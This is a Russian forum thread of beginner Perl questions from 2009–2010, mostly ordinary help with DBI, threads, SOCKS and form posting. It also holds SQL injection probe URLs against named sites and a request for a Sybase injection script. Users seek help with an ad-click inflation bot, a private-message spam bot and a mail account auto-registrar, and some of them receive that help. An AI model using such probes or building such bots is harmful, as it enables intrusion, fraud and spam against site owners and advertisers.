my $sth2 = $dbh->prepare(qq{SELECT video_title FROM video});
$sth2->execute();
while (my ($title) =
$sth2->fetchrow_array())

{
print "<p>
<button onclick='showPopWin('http://10.33.195.248//ajax/index.html', 400, 200, null);>$title</button></p>";
}
print "</TABLE><div>";
$sth2->finish();
")
так вот проблема в том что всё выводится на одну страницу..так вот вопрос как вывести эти данные по странично к примеру по 20 значений на страницу?

n4n0bit
31.12.2009, 01:11
anubis666 как то так:


anubis666

my ($c, $k) = (0,0);
my %html;
..
..
while..
{
$c++;

if( $c == 20 )
{
$k++;
$c = 0;
}

push @{$html{$k}}, "<p><button onclick='showPopWin('http://10.33.195.248//ajax/index.html', 400, 200, null);>$title</button></p>";
}
..
..

Fepsis
31.12.2009, 01:14
Здрасте... Туплю второй час... :rolleyes:

Шлю запрос на сайт через сокет, считываю ответ:

$str = join('', <SOCK>);

Получаю в $str примерно следующее:

HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Wed, 30 Dec 2009 20:54:08 GMT
Content-Type: text/html; charset=iso-8859-1
Connection: close
Content-Length: 294

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title></title>
</head><body>
бла-бла-бла....
</body></html>

Так вот, нужно разбить содержимое $str на 2 части заголовки ($head) и контент ($content)... Вот с этим и запарка...
Пробую сразу при чтении отделять заголовки так:
while ($s = <SOCK>)
{
$str .= $s;
last if (условие выхода из цикла);
}
по сути, условие выхода из цикла тут - пустая строка, которая как раз отделяет заголовки от контента, но не получается, в результат сохраняется только первоя строка заголовков, как только не изворачивался...

Помогите.. Цель: закинуть заголовки и контент в разные переменные... :confused:

m0nzt3r
31.12.2009, 01:20
ну можно так

$s =~ m%<%s;
print $';


попробуй

Kaimi
31.12.2009, 01:32
Мб
last if $s eq "\r\n";

Fepsis
31.12.2009, 01:43
m0nzt3r, так он закинул в $head все заголовки + ещё одну строку контента...
Kaimi, то что нужно.. Рабтает...

Спасибо всем...

ЗЫ: я пытался так last if ($s == "\r\n"); :D :rolleyes:

krypt3r
31.12.2009, 07:45
гг, == только для сравнения чисел, для строк юзается eq
ЗЫ. Скобки в структуре last if условие; и подобных можно опустить

[none]
31.12.2009, 21:37
Как проверить наличия файла .php на сервере ?
допустим если присутсвеует то yes , если нету то no...

krypt3r
01.01.2010, 11:32
HEAD- или GET-запрос на сервер. Если не юзается mod_rewrite, сервер вернет 200 OK в случае существования файла

[none]
01.01.2010, 14:57
в голову тока такое лезет
use LWP::Simple;
use LWP::UserAgent;
my $url = 'http://site.ru/ololo.php';
my $content = get $url;
die "нету $url";
но это не годится....

winflip
01.01.2010, 15:00
Привет всем. Сёдня наткнулся на такую вот паранойу.
#!/usr/bin/perl
print "Content-Type: text/html\n\n";
print 'prive<t';
Выводит prive. Я вообще не пойму ничего, ведь одинарнные кавычки выводят всё как есть.
PS. Я болею, так что не ругайте сильно)))
PPS Это при просмотре исходного кода

krypt3r
01.01.2010, 17:09
[none], какой-то бредовый код написан.
winflip, а если заглянуть в исходный код страницы?

1NtR0
01.01.2010, 18:20
Привет всем. Сёдня наткнулся на такую вот паранойу.
#!/usr/bin/perl
print "Content-Type: text/html\n\n";
print 'prive<t';
Выводит prive. Я вообще не пойму ничего, ведь одинарнные кавычки выводят всё как есть.
PS. Я болею, так что не ругайте сильно)))
PPS Это при просмотре исходного кода

Z:\home\test\www\perl>5.pl
Content-Type: text/html

prive<t

Все нормально выводит

[none]
01.01.2010, 18:25
А ты возьми код, в руки свои ! сделай его гладким, хорошим и правильным ! что бы глазу радостно смотреть было ! и преподноси его мне (:

winflip
01.01.2010, 20:28
krypt3r, а если дочитывать пост до конца???)))))
Короче вроде проблемка в chrome, он как то не полно показывает иногда исходный код в данном случае, потому как при text/plain всё норм, спасибо канешн за помощь

Fepsis
03.01.2010, 21:29
Здравствуйте..))

Имеется скрипт написанный под актив перл.. Во время работы скрипта в консоль выдаются сообщения (типа статистики) Хотелось бы узнать, можно ли очищать программно консоль, то есть стирать полностью все сообщения с экрана во время работы скрипта..?!

Ну это так, баловство... Для красоты..))

Заранее спасибо.. ;)

1NtR0
03.01.2010, 23:05
Fepsis
system("cls");

Fepsis
03.01.2010, 23:34
Fepsis
system("cls");
Спасибо..) :) Работает..)
А нельзя ли очистить часть экрана..?! Например, только последнюю строчку... Конечно всё задуманное можно и с system("cls"); замутить, но если есть возможность удалять часть сообщений, то я не хочу изобретать велостпед :)

1NtR0
04.01.2010, 18:59
Подскажите как в perl с сокс5 подконнектиться и вывести страницу?
Весь инет перерыл, ничего ненашел

BluR
05.01.2010, 02:58
такая проблема ...
получаю в ответ от сервера ошибку ...

Validation of viewstate MAC failed. If this application is hosted by a Web Farm or cluster, ensure that <machineKey> configuration specifies the same validationKey and validation algorithm. AutoGenerate cannot be used in a cluster.

перевод :

Подтверждение ViewState MAC неудачу. Если это приложение размещается веб-фермы или кластере, убедитесь, что конфигурация <machineKey> задает тот же validationKey и проверка алгоритма. AutoGenerate не может быть использована в кластере.

Как исправить ?

Fepsis
05.01.2010, 04:41
Вопрос по потокам:

В скрипте задаётся массив @bas с некоторым количеством элементов...

Создаю процедуру, которая извлекает по одному элементу массива и дописывает его в файл... Сама процедура:
sub gogo
{
my ($name) = @_;
while($elm = shift(@bas))
{
open(OUT, ">> $name.txt");
print OUT "$elm\r\n";
close(OUT);
}
}
Далее создаю несколько потоков, выполняющих функцию gogo и прописываю ждать завершения работы всех потоков...
foreach $ac (@acc)
{
push @threads, threads->create(\&gogo, $ac);
}


foreach my $thread (@threads)
{
$thread->join();
}

Каждый поток создаёт свой файл, куда записывает элементы массива, которые он обработал (извлёк из массива)...
Что я ожидал от работы этого скрипта..?? Ожидал я, что элементы массива @bas будут распределены по файлам потоков.. тоесть первый поток вытащил первый элемент, записал в свой файл, второй поток - второй элемент, и записал уже в свой файл.. и т.д.

А в результате каждый поток пробегает весь массив целиком... Причём я даже пробовал каждому из потоков задать разные задержки.. Почему так происходит, я же извлекаю элементы с помощью shift, который удаляет элемент..?! Как лучше реализовать задуманное..?!

Spyder
05.01.2010, 05:09
Ох уж эти потоки( Точно не помню, но вроде должно помочь

use threads::shared;
my @bas : shared;

BluR
05.01.2010, 16:42
такая проблема ...
получаю в ответ от сервера ошибку ...

Validation of viewstate MAC failed. If this application is hosted by a Web Farm or cluster, ensure that <machineKey> configuration specifies the same validationKey and validation algorithm. AutoGenerate cannot be used in a cluster.

перевод :

Подтверждение ViewState MAC неудачу. Если это приложение размещается веб-фермы или кластере, убедитесь, что конфигурация <machineKey> задает тот же validationKey и проверка алгоритма. AutoGenerate не может быть использована в кластере.

?

Так что это может быть ... проверил весь скрипт тысячу раз ... серверу уходит верный запрос ... а в ответ такое ... Может быть Win 7 ???

1NtR0
05.01.2010, 19:14
Вроде разобрался как с соксами работать, но не хочет оно на сайт заходить, заходит только на ип сервера =\


my $sock = new Net::SOCKS(socks_addr => '123.123.123.123',
socks_port => 9671,
protocol_version => 5);
my $f= $sock->connect(peer_addr => '2ip.ru', peer_port => 80);
print "connect status: ",
Net::SOCKS::status_message($sock->param('status_num')), "\n";

if ($sock->param('status_num') == SOCKS_OKAY) {
print $f "clintdw\n";
while (<$f>) { print }

$sock->close();
}

cr0w
05.01.2010, 20:23
1NtR0

Что значит " заходит только на ип сервера" ?
А что за херню вы посылаете заместо http-запроса?

BluR

А причем тут Perl?

Fepsis

Последнюю строку можно просто выводить без переноса строки:

perl -e"$|++; print qq($_\r) and sleep 1 for 1..20"

1NtR0
05.01.2010, 21:30
1NtR0

Что значит " заходит только на ип сервера" ?
А что за херню вы посылаете заместо http-запроса?



Заходит например не на ww.2ip.ru а на 188.40.74.9 (это ип адрес сервера, на котором находиться 2ip.ru)

ВОт и я незнаю что за херня, знал бы не спрашивал.. Как правильно сделать ?

cr0w
05.01.2010, 22:06
1NtR0

print $f "GET http://2ip.ru/ HTTP/1.1\n"
. "Host: 2ip.ru\n\n";
С HTTP-протоколом начинай знакомиться. (;

1NtR0
05.01.2010, 22:43
1NtR0

print $f "GET http://2ip.ru/ HTTP/1.1\n"
. "Host: 2ip.ru\n\n";
С HTTP-протоколом начинай знакомиться. (;

Твой код ничего не выводит

krypt3r
06.01.2010, 00:07
1NtR0, вооружайтесь RFC и снифером и смотрите, какие пакеты отсылаются и принимаются. Для примера работы с соксами на перле можете посмотреть Toolza от Pashkela. Там все на сокетах реализовано

BluR
06.01.2010, 01:55
BluR

А причем тут Perl?




При том что это в ответ получай perl скрипт ... хотелось бы знать не может ли быть в нём проблемы ??? может я что то недоотправляю ... как я понимаю ошибка в том что мак адрес не соответствует тому для которого сгенерированна переменная , которая в свою очередь выдергивается из страницы которую скрипт получает до этого ... да и если бы переменная была бы не верной выдавалась бы другая ошибка ...

P.s : с perl знаком от силы неделю .... поэтому и спрашиваю ...

cr0w
06.01.2010, 14:33
Твой код ничего не выводит
Мой код пишет http-запрос в сокет, а выводить что-то должен твой код.

Кстати, если работешь с socks5, то попробуй еще модуль IO::Socket::Socks, он поудобней:
use strict;
use warnings;
use IO::Socket::Socks;

my $socks = new IO::Socket::Socks(
ProxyAddr => '98.203.236.60',
ProxyPort => 43981,
ConnectAddr => '2ip.ru',
ConnectPort => 80
) or die 'can\'t conect to proxy';

print $socks "GET / HTTP/1.1\n"
. "Host: 2ip.ru\n\n";

print while <$socks>;

$socks->close();

BluR

Тут кодеры на вопросы отвечают, а не экстрасенсы. Показать свой сверхсекретный код не желаешь? (;

BluR
06.01.2010, 18:48
BluR

Тут кодеры на вопросы отвечают, а не экстрасенсы. Показать свой сверхсекретный код не желаешь? (;

Ничего секретного ... вот кусок кода ... весь код большой ... да и до этого есть только гет запросы которые в ответ получают нормальные страницы ...

$answ =~ s/\s*.*VIEWSTATE"\svalue="//igxsm;
$answ =~ s/"\s*.*\s*//igxsm;
my $VIEWSTATE = uri_escape("$answ");

$eve =~ s/\s*.*id="__EVENTVALIDATION"\s*value="//igxsm;
$eve =~ s/"\s*.*\s*//igxsm;
my $EVENTVALIDATION = uri_escape("$eve");



my $reg = $ua->post("http://profil.centrum.cz/icq.aspx",
['__EVENTTARGET' => ,
'__EVENTARGUMENT' => ,
'__VIEWSTATE' =>$VIEWSTATE,
'ua_icqstatus' => '1',
'ua_icq' => ,
'icqpassword' => ,
'passwordset' => '0',
'ua_securitycode_question' =>$scr,
'ua_securitycode_answer' =>$captcha,
'btnconnect' => '',
'__VIEWSTATEENCRYPTED=' => ,
'__EVENTVALIDATION' =>$EVENTVALIDATION,])->as_string;

BluR
06.01.2010, 21:30
Проблема решена ... сори за беспокойство )))

vladan
09.01.2010, 20:11
Очень прошу помощи. Хотелось бы сделать небольшую регистрацию на сайте и запретить регистрацию ников меньше 5 символов. Написал:

if ($domen => 5) {
# если больше или равно
}
else {
#если меньше
}

krypt3r
09.01.2010, 21:10
А в чем затруднение-то?

if (length $username >= 5) {
# Good
} else {
# Error
}

vladan
09.01.2010, 21:16
А в чем затруднение-то?

if (length $username >= 5) {
# Good
} else {
# Error
}

Огромное спасибо!!!!

PS перл начал учить неделю назад. Надо будет почитать про length

[Life]
09.01.2010, 21:34
Доброго времени суток!) Вот пишу скрипт, обрабатывающий определенным образом инет страницу(указываем урл). Суть проблемы в том, что я не знаю какой модуль использовать для парсинга страниц? И что делать, например, с сылками вида www.site.ru/page1/ , где не указан конкрентный файл?

krypt3r
09.01.2010, 23:04
Для парсинга страниц используются регулярные выражения, дополнительные модули тут не нужны. Для получения содержимого страниц юзайте модуль LWP

vladan
13.01.2010, 18:49
Может кто подскажет как работать с модулем dbi? $dbh->do("ЗАПРОС");

Возвращает кол-во измененных строк, как мне показать сами строки?Запрос примерно такой


SELECT `namesite` FROM `users` WHERE `name` LIKE '$domen'

Kaimi
13.01.2010, 19:10
А с документацией по модулю ознакомиться - не вариант?
http://search.cpan.org/~timb/DBI-1.609/DBI.pm

090808
14.01.2010, 03:18
Где взять инклуд Javascript.pm?

krypt3r
14.01.2010, 10:16
http://search.cpan.org/~claesjac/JavaScript-1.15/lib/JavaScript.pm

vladan
15.01.2010, 19:27
А с документацией по модулю ознакомиться - не вариант?
http://search.cpan.org/~timb/DBI-1.609/DBI.pm

попробовал так

my $namesite = $dbh->prepare("SELECT `namesite` FROM `users` WHERE `name` LIKE '$domen' LIMIT 0 , 30");
$sth->execute( $namesite );
$name = $sth->fetchrow_array;
print "$name";


не получаю ни чего. Подскажи

Kaimi
15.01.2010, 19:37
А по мануалу попробовать?

$sth = $dbh->prepare("SELECT foo, bar FROM table WHERE baz=?");

$sth->execute( $baz );

while ( @row = $sth->fetchrow_array ) {
print "@row\n";
}

vladan
15.01.2010, 19:40
А по мануалу попробовать?
решил так

$sth = $dbh->prepare("SELECT `namesite` FROM `users` WHERE `name` LIKE '$domen' LIMIT 0 , 30");
$sth->execute();
@row = $sth->fetchrow_array;

print "@row";

daniel_1024
25.01.2010, 21:58
подскажите как сделать чтобы программа считывала из заданного пользователем с клавиатуры текстовика по строке, и производила с ней какие - либо действия ? и результат потом записывала в текстовый файл.

LStr1ke
25.01.2010, 22:34
<form method="POST">
<textarea name="input_text" rows="10" cols="50"></textarea>
<input type="submit" />
</form>
<?php
if(isset($_POST['input_text']))
{
$text_arr = explode("\n",$_POST['input_text']);
$handler = fopen("result.txt","w");
for($i = 0; $i < count($text_arr); $i++)
{
fputs($handler,"Строка $i > ".$text_arr[$i]."\n");
}
fclose($handler);
}
?>

daniel_1024
25.01.2010, 23:14
можно то же самое на perl ? а не на пхп
топик всё-таки называется "[Perl] Новичкам: задаем вопросы"..я сюда и постил.

.Slip
26.01.2010, 07:18
подскажите как сделать чтобы программа считывала из заданного пользователем с клавиатуры текстовика по строке, и производила с ней какие - либо действия ? и результат потом записывала в текстовый файл.
$file = <STDIN>;
open(FILE, "<$file");
while($line = <FILE>)
{
#действия
}
open(FILE2, ">$file2");
close(FILE);
close(FILE2);
Ты это ожидал увидеть?

daniel_1024
31.01.2010, 16:38
del

$n@ke
03.02.2010, 21:00
хелп.нужен скрипт на перле со скулей в запросе. БД -сибейз.

чтоб не было проблем, вот с чего начинется рабочий скрипт:

use POSIX qw(strftime);
use DBI;
use DBD::Sybase;
use Socket;
#use Date::Parse;
use FileHandle;


или дампер баз Sybase на перле.

Fepsis
06.02.2010, 02:31
Парни, знаю, что вопрос уже поднимался, но всё же, гляньте профессиональным взглядом... Может подскажите где косяк...

Заливаю картинку на сервер:


sub rload
{
my ($url, $post_data, $ref) = @_;
my $request = HTTP::Request->new(POST => $url);

$request->header(

'User-Agent' => "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4",
'Content-Length' => length($post_data),
'Referer' => $ref

);


$request->content_type('multipart/form-data; boundary=---------------------------1234567890');
$request->content($post_data);


my $result = $robot->request($request);
$cookie_jar->extract_cookies($result);
return $result->headers_as_string()."\n\n".$result->content();
}


$url = 'http://урл';
$ref = 'http://урл';


open(F, 'foto.jpg');
$file = join("", <F>);
close(F);


$post_data =
"---------------------------1234567890\n".
"Content-Disposition: form-data; name=\"a\"\n\n".
"addfoto\n".
"---------------------------1234567890\n".
"Content-Disposition: form-data; name=\"s\"\n\n".
"---------------------------1234567890\n".
"Content-Disposition: form-data; name=\"d\"\n\n".
"1\n".
"---------------------------1234567890\n".
"Content-Disposition: form-data; name=\"to\"\n\n".
"---------------------------1234567890\n".
"Content-Disposition: form-data; name=\"addfile\"; filename=\"foto.jpg\"\n".
"Content-Type: image/jpeg\n\n".
$file."\n";


$ex = rload($url, $post_data, $ref);

ПС: то, что я картинку открываю неправильно, это я знаю... Обещаю исправиться :) Это вроде не столь важно, так как при таком открытии картинка искажённая получается, но мне хотябы искажённую залить пока или получить ответ, что формат картинки неверный.. А так возвращает форму загрузки картинки.. :(

krypt3r
08.02.2010, 07:53
Fepsis, perldoc HTTP::Request::Common. Там есть пример, как отсылать POST-ом файл

Fepsis
09.02.2010, 04:00
krypt3r, спасибо огромное за подсказку... В коде моего предыдущего поста я уже несколько косяков исправлял, переписывал на сокетах - нифига не работало..

С HTTP::Request::Common сделал буквально в несколько строк.. Всё пашет как надо.. ;)

taxpayer
09.02.2010, 21:27
переписывал на сокетах - нифига не работало..

С HTTP::Request::Common сделал буквально в несколько строк.. Всё пашет как надо.. ;)

HTTP::Request::Common - оболочка над сокетами. Криво написал на сокетах вот и не работает ;)

1mposible
13.02.2010, 10:54
Знающие сей чудесный язык програмирования помогите!!!
Нада написать скрипт.
его задача:
Заполнение Форм На заданном сайте и нажатие на определённую кнопку. Но Заполнение формы должно идти из файла (базы тхт,мускуль, без разницы.) , причём каждое новое заполнение - берёться из последующей строки (Пример:1.Вася 2.Петя 3.Женя 4.Юля ... ; 1 заполнение Вася, 2 заполнение Петя, 3 заполнение Женя, 4 Заполнение Юля и т.д.)
+ К этому должен показываться вывод, пошла одна из строк или нет...
Кстати вот нашёл коментарии в нете мб поможет комуто...
пользуешь LWP и HTML::Form зашибись заполняет поля и нажимает кнопочку Submit )) только не в браузере )
PS на сколько я думаю , надо будет использование кукизов и хешей...
Знаю что кайми у вас тут хорошо в перле понимает...

anubis666
14.02.2010, 16:08
Привет всем) я бы хотел у Вас спросить какой нужен модуль для того что бы фильтровать текст на наличие html тегов. То есть в форме есть поле opisanie после того как содержимое поля отправится на сервер мне нужно его проверить на наличие html тегов и если таковые имеются то удалить их.

krypt3r
15.02.2010, 07:51
anubis666, регулярка вполне подойдет

-=Zhenek=-
15.02.2010, 08:32
$name=~s/<[^>]*>//gs;

anubis666
15.02.2010, 11:37
спасибо)

anubis666
17.02.2010, 19:54
Здравствуйте))можно узнать ,возможно-ли часть кода выбрать из mysql и после тога как выбрали его от туда,заинклюдить его в программу... то есть

$qwerty->prepar(~~~);
$qwerty->execute();
$qwerty_1=$qwerty->fetchrow_array();
$qwerty->finish(); #выбираем часть кода из бд


А ЧТО ПОТОМ НАДО сделать? не писать же просто $qwerty;
или моя задумка неосуществима?!

Spyder
17.02.2010, 20:11
а теперь перепиши свой пост на русский язык

anubis666
17.02.2010, 22:02
эх..ну начнем))
допустим в БД есть таблица test и в поле CODE записано к примеру

if(1>0){
####
}else{
####
}

теперь после того когда я получил значение этого поля,возможно ли его использовать в программе?если да то как?

Kaimi
17.02.2010, 22:54
теперь после того когда я получил значение этого поля,возможно ли его использовать в программе?если да то как?

http://perldoc.perl.org/functions/eval.html

Vlad&slav
18.02.2010, 15:10
Я написал скрипт на перле с циклом. Как в перле делать многопоточность?

krypt3r
18.02.2010, 15:50
perldoc threads

SwoooN
20.02.2010, 07:22
http://www.smolensk2.ru/search.php?id=1'
http://www.smolensk2.ru/user.php?login=1'
помогите разобраться зарание благодарю!

maxya
25.02.2010, 22:44
Здравствуйте!

Имеется форма для отсылки ПМ такого вида:

<form action="/messages/new" accept-charset="UTF-8" method="post" id="privatemsg-new">
<div><fieldset><div class="form-item" id="edit-recipient-wrapper">
<label for="edit-recipient">Для: <span class="form-required" title="Обязательное поле">*</span></label>

<input autocomplete="OFF" maxlength="128" name="recipient" id="edit-recipient" size="50" value="" class="form-text form-autocomplete required" type="text">
<div class="description">Separate multiple names with commas.</div>
</div>
<input class="autocomplete autocomplete-processed" id="edit-recipient-autocomplete" value="http://maxya.ru/messages/user-name-autocomplete" disabled="disabled" type="hidden"><div class="form-item" id="edit-subject-wrapper">
<label for="edit-subject">Заголовок: </label>
<input maxlength="255" name="subject" id="edit-subject" size="50" value="" class="form-text" type="text">
</div>
<div class="form-item" id="edit-body-wrapper">
<label for="edit-body">Сообщение: </label>

<div class="resizable-textarea"><span><textarea cols="60" rows="6" name="body" id="edit-body" class="form-textarea resizable textarea-processed"></textarea><div style="margin-right: -6px;" class="grippie"></div></span></div>
</div>
<ul class="tips"><li>Адреса страниц и электронной почты автоматически преобразуются в ссылки.</li><li>Доступны HTML теги: &lt;a&gt; &lt;img&gt; &lt;em&gt; &lt;strong&gt; &lt;cite&gt; &lt;code&gt; &lt;ul&gt; &lt;ol&gt; &lt;li&gt; &lt;dl&gt; &lt;dt&gt; &lt;dd&gt; &lt;br&gt; &lt;hr&gt; &lt;h1&gt; &lt;h2&gt; &lt;h3&gt; &lt;b&gt; &lt;i&gt; &lt;u&gt; &lt;object&gt; &lt;param&gt; &lt;embed&gt; &lt;br&gt; &lt;div&gt; &lt;p&gt;</li><li>Строки и параграфы переносятся автоматически.</li><li>You may use <a href="/filter/tips/1#filter-inline">[inline:xx] tags</a> to display uploaded files or images inline.</li><li>Image links with 'rel="lightbox"' in the &lt;a&gt; tag will appear in a Lightbox when clicked on.</li><li><p>Search Engines will index and follow ONLY links to allowed domains.</p>

</li><li><a href="/filter/tips/1#filter-smileys-0">Textual smileys</a> will be replaced with graphical ones.</li></ul><p><a href="/filter/tips">Подробнее о форматировании</a></p><input name="op" id="edit-preview" value="Preview message" class="form-submit" type="submit">
<input name="op" id="edit-submit" value="Send message" class="form-submit" type="submit">
<a href="/messages" id="edit-cancel">Отмена</a></fieldset>
<input name="form_build_id" id="form-8e3dc897f3e604814beeb5ad020ed83b" value="form-8e3dc897f3e604814beeb5ad020ed83b" type="hidden">
<input name="form_token" id="edit-privatemsg-new-form-token" value="4fec487381193d5a1840b549fafdcabc" type="hidden">
<input name="form_id" id="edit-privatemsg-new" value="privatemsg_new" type="hidden">

</div></form>


пытаюсь запостить в нее так -
$res = $ua->post($pm_url, [
'recipient' => $recipient,
'subject' => 'hello',
'body' => 'hi fuckhead!',
'form_id' => 'privatemsg_new',
]);

но возвращается 200 и "Ошибка при проверке значения, пожалуйста повторите".
Поле "кому" (recipient) не заполняется, подозреваю, что проверяется ajax-ом - "class="form-text form-autocomplete required" type="text".
Есть ли способ обойти проверку?
Спасибо.

Fepsis
25.02.2010, 23:23
maxya, отправляй все поля формы, в том числе и скрытые...
form_build_id
form_token
и т.д. предварительно отпарситв их значения, если они меняются... А вообще юзай сниффер заголовков, чтобы знать наверняка какой запрос идёт на сервак...

maxya
26.02.2010, 01:14
maxya, отправляй все поля формы, в том числе и скрытые...
form_build_id
form_token
и т.д. предварительно отпарситв их значения, если они меняются... А вообще юзай сниффер заголовков, чтобы знать наверняка какой запрос идёт на сервак...

Удачный запрос лога снифера:
recipient=user3&subject=test&body=messaga&op=Send+message&form_build_id=form-adbce093847bfcc5a037fdcadf41251a&form_token=4fec487381193d5a1840b549fafdcabc&form_id=privatemsg_new

$res = $ua->post($pm_url, [
'recipient' => $recipient,
'subject' => 'hello',
'body' => 'hi fuckhead!',
'form_id' => 'privatemsg_new',
'form_build_id' => $formbid,
'form-token' => $formtoken,
'op' => 'Send+message'
]);

Ответ:
logging in to http://cool-site as vasily...
302
PM formbid - form-69f23f90b6fa82a618e87f665a2851f2
PM formt - e476eda5f62d491daac6ee7f73620edb
Sending message to user3...

200 + "Ошибка при проверке значения, пожалуйста повторите."


{Здесь смайлик рвущий волосы на голове}

Все же смущает строка в свойствах формы "class="form-text form-autocomplete required" type="text"

Fepsis
26.02.2010, 01:40
На некотрых сайтах при отправке запроса идёт проверка referer, может каких то других параметров... Выложи весь код тут или в личку мне, может разберёмся...

j0ker13
26.02.2010, 22:21
2maxya
на сайте авторизация есть?
не забыл авторизоватся скриптом и получить куки?

Pashkela
26.02.2010, 22:28
сайт с тестовым паролем в студию - там дел на 2 мин

maxya
27.02.2010, 03:13
Всем спасибо за помощь, уже разобрался с помощью Fepsis, за что ему большое спасибо ;)

-Straniks-
14.03.2010, 18:38
Поделитесь пожалуйста скриптом- авторегер почты mail.ru с логинами из своей базы. база вида:
123@mail.ru
qwerty@list.ru

Кто поделится буду благодарен.

Tigger
16.03.2010, 19:47
krypt3r, спасибо огромное за подсказку... В коде моего предыдущего поста я уже несколько косяков исправлял, переписывал на сокетах - нифига не работало..

С HTTP::Request::Common сделал буквально в несколько строк.. Всё пашет как надо.. ;)

Вот, может тебе полезно будет
http://habrahabr.ru/blogs/perl/63432/

ProfBiss
16.03.2010, 22:42
Помогите пожалуйста.

Есть файл следующего вида

логин@yandex.ru:пароль
логин@yandex.ru:пароль

Как можно распарсить строку на составляющие а именно логин сервер и пароль??

Tigger
16.03.2010, 22:51
Помогите пожалуйста.

Есть файл следующего вида

логин@yandex.ru:пароль
логин@yandex.ru:пароль

Как можно распарсить строку на составляющие а именно логин сервер и пароль??

@razdel = split(/@/,$string);
split(/:/,$razdel[1]);

Вроде бы так о_0.
Как на perl'e точно, не знаю, на PHP знаю.

Pashkela
16.03.2010, 22:52
$choice = 'login@server.ru:pass';
$choice =~ m/(.*)@(.*):(.*)/img;
print $1 . " - " . $2 . " - " . $3;

Fepsis
16.03.2010, 22:52
$str = 'логин@домен:пароль';
$str =~ /^(.+?)@(.+?):(.+?)$/;

$login = $1;
$domail = $2;
$pass = $3;

ProfBiss
16.03.2010, 23:37
$str = 'логин@домен:пароль';
$str =~ /^(.+?)@(.+?):(.+?)$/;

$login = $1;
$domail = $2;
$pass = $3;
Спс

maxya
20.03.2010, 13:22
Пытаюсь сделать накрутчик рекламы AMN (adlabs)
Пример сайта с рекламой - _http://nadietah.ru (рекламный блок справа).
Почему-то при таком соединении с сайтом, рекламный блок не выводится.


my $ua = LWP::UserAgent->new(timeout => 15,
cookie_jar => new HTTP::Cookies,
Referrer => 'http://nadietah.ru',
agent => agent()); #рендомно агент
#until(proxy($ua)){};
print "\nConnecting to site: $siteurl \n";
my $res = $ua->get($siteurl);
#$_ = $res->content;
#my @alllinks = /href="(.+?)"/gi;
my @alllinks = $res->content =~ /href="(.+?)"/gi;
print "Got ".scalar @alllinks . " links\nProcessing...\n";
my @luxlinks;
foreach $key (@alllinks)
{
$key = $key =~ /href=\"(.+?luxup.+?)\"/;
print "$key\n" if $key;
}



В чем подвох?
Спасибо ;)

Kaimi
20.03.2010, 13:45
Реклама на сайте выводится с помощью javascript

maxya
20.03.2010, 14:16
А как его (js) заставить исполнится и отрендерить нужный html ?

Kaimi
20.03.2010, 14:31
А как его (js) заставить исполнится и отрендерить нужный html ?

Либо использовать модули эмулирующие выполнение js, либо смотри какие запросы шлет браузер, чтобы получить рекламу

taxpayer
24.03.2010, 21:01
$str = 'логин@домен:пароль';
$str =~ /^(.+?)@(.+?):(.+?)$/;

$login = $1;
$domail = $2;
$pass = $3;
:(
my ($a, $b, $c) = split '@|:' => 'a@b:c'

Kaimi
24.03.2010, 21:06
my ($a, $b, $c) = split '@|:' => 'a@b:c'

Чем этот вариант лучше?

taxpayer
24.03.2010, 21:15
Чем этот вариант лучше?
Потому что для этого придумали сплит, обёртку уже на регекспах

Kaimi
24.03.2010, 21:19
Потому что для этого придумали сплит, обёртку уже на регекспах

Сплит медленнее работает в данном случае

taxpayer
24.03.2010, 21:25
http://kaimi.ru/wp-content/uploads/2010/03/odsender_b.zip

Почему же у тебя тут сплитов столько?

Kaimi
24.03.2010, 21:28
Потому что я не использую конструкцию

split '@|:'

Из-за которой сплит медленнее отрабатывает

taxpayer
24.03.2010, 21:42
т.е. сплит с одним разделителем быстрее голого регекспа?

Kaimi
24.03.2010, 21:44
Бенчмарк считает что так

taxpayer
24.03.2010, 21:46
т.к. функция сплит построена на регекспах, она не может быть быстрее голых регекспов

maxya
31.03.2010, 23:46
Доброе время суток атач!
Пишу скриптик для пропоганды материалов партнерки через ПМ :D
Сайт работает на phpBB. Уже успешно залогинился. Добрался до страницы отправки ПМ и наткнулся снифером заголовков на:

Content-Type: multipart/form-data; boundary=---------------------------31316206715786
Content-Length: 1637
-----------------------------31316206715786
Content-Disposition: form-data; name="username"

Âëàäî÷êà
-----------------------------31316206715786
Content-Disposition: form-data; name="subject"

Áó-ãà-ãà
-----------------------------31316206715786
Content-Disposition: form-data; name="addbbcode18"

#444444
-----------------------------31316206715786
Content-Disposition: form-data; name="addbbcode20"

12
-----------------------------31316206715786
Content-Disposition: form-data; name="helpbox"

Ðàçìåð øðèôòà: ìàëåíüêèé òåêñò
-----------------------------31316206715786
Content-Disposition: form-data; name="message"

Âîò òàêàÿ õóéíÿ :)
-----------------------------31316206715786
Content-Disposition: form-data; name="add_attachment_body"

0
-----------------------------31316206715786
Content-Disposition: form-data; name="posted_attachments_body"

0
-----------------------------31316206715786
Content-Disposition: form-data; name="fileupload"; filename=""
Content-Type: application/octet-stream


-----------------------------31316206715786
Content-Disposition: form-data; name="filecomment"


-----------------------------31316206715786
Content-Disposition: form-data; name="folder"

inbox
-----------------------------31316206715786
Content-Disposition: form-data; name="mode"

post
-----------------------------31316206715786
Content-Disposition: form-data; name="sid"

9139ceb142e497a014214cdc9eacffb4
-----------------------------31316206715786
Content-Disposition: form-data; name="post"

Îòïðàâèòü
-----------------------------31316206715786--



Я уже наловчился обрабатывать однострочные POST запросы, а-ля

$res = $ua->post($log_url,
['username' => $login,
'password' => $pass,
'login' => $log_text
],);


но многострочных еще не видел :confused:

Как с ними работать? :confused:
Если не трудно, то можно небольшой примерчик :D
Спасибо ;)

Fepsis
01.04.2010, 00:01
$res = $ua->post($log_url,
['username' => 'Âëàäî÷êà',
'subject' => 'Áó-ãà-ãà',
'addbbcode18' => '#444444'

и т.д.

],);

maxya
01.04.2010, 00:13
$res = $ua->post($log_url,
['username' => 'Âëàäî÷êà',
'subject' => 'Áó-ãà-ãà',
'addbbcode18' => '#444444'

и т.д.

],);
Fepsis, спасибо за шустрый ответ
получается отправлять точно так же ? :)
А в чем же тогда разница пост запросов, скажем с таким?
username=Krevedko&password=123&redirect=&login=%C2%F5%EE%E4
т.е. почему сниффер по разному отображает?
потому что тот большой и мультистрочный? :)
что погуглить?

Fepsis
01.04.2010, 00:39
